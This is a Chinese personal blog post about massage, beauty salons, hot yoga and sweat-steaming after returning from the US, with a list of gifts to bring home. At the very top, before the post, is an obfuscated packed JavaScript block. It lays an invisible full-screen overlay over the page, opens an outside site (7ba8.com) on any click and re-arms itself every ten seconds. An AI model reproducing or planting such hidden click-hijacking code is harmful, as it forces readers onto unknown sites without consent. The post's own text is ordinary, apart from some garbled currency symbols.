<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我才刚刚回国一年，另外居住的也是个小城市。建议有很大的局限性，纯粹个人观点，欢迎指正添加。
1.按摩
这个按摩是正经的按摩哦。我和老公在美国时天天坐办公室，一天对着电脑，晚上回家孩子睡后还是泡在电脑上。几年下来，颈部和肩膀积劳成疾，很容易酸痛。我老公还好一点，经常会去锻炼身体。我在美国也有做按摩，每次做完后会轻松一两天，但随后就又旧病复发了。在美国的价钱是一小时$75，加小费。我的按摩师每次都做的认真又好，所以每次我都给20％的小费。这样一个小时的花费就要$90了。我们两个人加起来就要快$200。想倒是想经常做，口袋吃不消啊。
回来中国后，虽然不经常坐在电脑前了，但酸痛没有缓解太多。终于下定决心走进一家按摩店。以前每次探亲回来都想做个按摩什么的，但父母观念太旧，不让去。说是怕里面乱七八糟，不干净。再说也没时间。这次其实还是偷着去的。结果就赖在里面不想出来了。我们选的这一家是一对表兄弟开的。哥哥是中医大学毕业，弟弟是专业按摩学校毕业的。手法真是不错啊。而且一小时 165;25块！每次按完，我老公都有负罪的感觉，实在是我们得到的比付出的要多的多。
2.按脚
如果没有时间做按摩，按按脚也好。我每次去都是先用牛奶或者其它别的草药泡脚。热水泡过，不是一般的舒服，然后再做脚部按摩。也同样可以减轻疲劳。
3.美容
美容的好处不用我多说啦。所有女孩子都应该知道。但是美容和美容也是不一样的哦。国内什么样价位的美容都有。第一重要的是要挑口碑。二是要挑手法，产品都是差不多的。最后是要挑环境。曾经一个朋友给我介绍了一个手法非常好的美容师。店是她自己开的，但是美容店的同时还是个小商店。给我做美容的时候经常有孩子来买冰淇淋。我做了一次之后就再也不去了。现在我经常去的有两家。都有办会员卡。一家非常的贵，在我家乡可能就是最贵的啦。如果不办卡的话，做一次补水要165;250。办卡后打了5.5折。这家环境是最好的。一人一个房间，没有外人打扰。（两人一间的也有，正好适合我和我母亲同时做美容）而且装饰的也很漂亮。中央空调，和淋浴什么的我自己觉得和我在美国做的美容非常接近。产品叫 Chlitina （克丽缇娜），现在应该是全国连锁的啦。我只是在美容的时候才做他们的产品。觉得还是可以的
另外一家是做的韩国产品，叫瑷珊。喜欢去她家是因为她们一楼是汗蒸，二楼是美容。这样先去汗蒸45分钟，然后再去二楼做一下美容。汗蒸现在非常流行。据说有美容和治病的功效。说的非常好听。具体怎么样我就不知道啦。不过汗蒸一次，出出汗，过后还是很舒服的。
强烈建议。美容的时候一定要注意品牌和口碑。我家乡这里听说有一家给人美容的时候用激素的，很可怕。用完激素后皮肤会很光滑，感觉非常好，停了之后就惨了。所以最重要的要看口碑。开过几年的老店一般问题不大。
4.高温瑜珈
曾经听麦当娜讲她保持身材的妙诀是做高温瑜珈。现在国内到处都是啦。我还没有开始做，但也是心痒痒的。曾经在美国的健身房里做过几天瑜珈，但我的两个手腕在餐馆打工时永远的受了伤，拖不了重东西，撑不起身体，所以没几天就放弃了。另外也是那个瑜珈课一共4,50人一起做，太挤了。
同学们记住，像这种高温瑜珈或者是美容都有第一次试用的价格，有的还免费。一定要问一问。
5.汗蒸
再特意把汗蒸拿出来说一下吧。经常去做对风湿很有好处。我的两个小腿一到冬天就隐隐的疼，可能是过去十年中即使是冬天也只着一条单裤的原因吧。没办法，要想美丽，只能冻人啦。汗蒸，美其名曰就是坐在蒸汽室，努力出汗。想通过出汗把体内的毒都排出来。注意一次不要蒸超过45分钟，同时每隔几分钟就要喝水补充体内流失的水分，还要注意最好喝热水。蒸完后到休息室休息一下，同时可以要求用热水泡脚。过一会后再进去蒸一次。我每次都会立刻出汗，可就是经常疼的两个腿无论蒸多久都没有一点汗珠。多去了几次之后才渐渐出汗的。国内现在的服务行业非常到位。我这里还是北方，相信南方会更好.
带回国内的东西或可以给家人买的东西
1.给女孩子全带化妆品或者名牌包。Coach也开始火起来。国内的各大品牌不是一般的贵。我在美国买过一个Benefit的猪油膏，$27（好像是），在国内我刚看了一下要价165;450。
2.给老人带营养药，国内的也是贵。最主要的是不知道保不保真。
3.给小男生带名牌鞋，比如Nike。这个牌子在国内火的不得了，但A货太多了。
4. 给非常近的家人朋友带各种house cleaning product。像Lysol的清洁剂。不是我娇气，国内的清洁剂味道太刺鼻。现在国内主要有蓝月亮，绿伞，Mr. Muscle 的牌子。如果我在一个非常小的空间内打扫，比如说洗手间，一分钟就被熏出来了。特别怀念美国的Lysol，还有很多种清新的味道。让打扫卫生也感觉很享受。擦玻璃的无论国内还是国外都一个味啦。还有wipe，国内也有，但好像没有消毒作用。这个去costco买有家用型的，很大一桶能用很长时间。主要是用来擦门把，冰箱门，电视遥控器等各种大家经常摸的地方消毒。
5.可以给父母买个烘干机。现在有洗烘一体的。不是一般的方便，是太方便了。这样父母洗完衣服后不用像搭联合国国旗一样晾衣服啦。
6.还有我曾说过的空气过滤器。现在国内各大商场都有卖的。不过时间长了也就习惯了。
7.如果有新生儿朋友的，当然要带奶粉。幼儿的也可以带。不过好像听说美国的奶粉也出事了。 |
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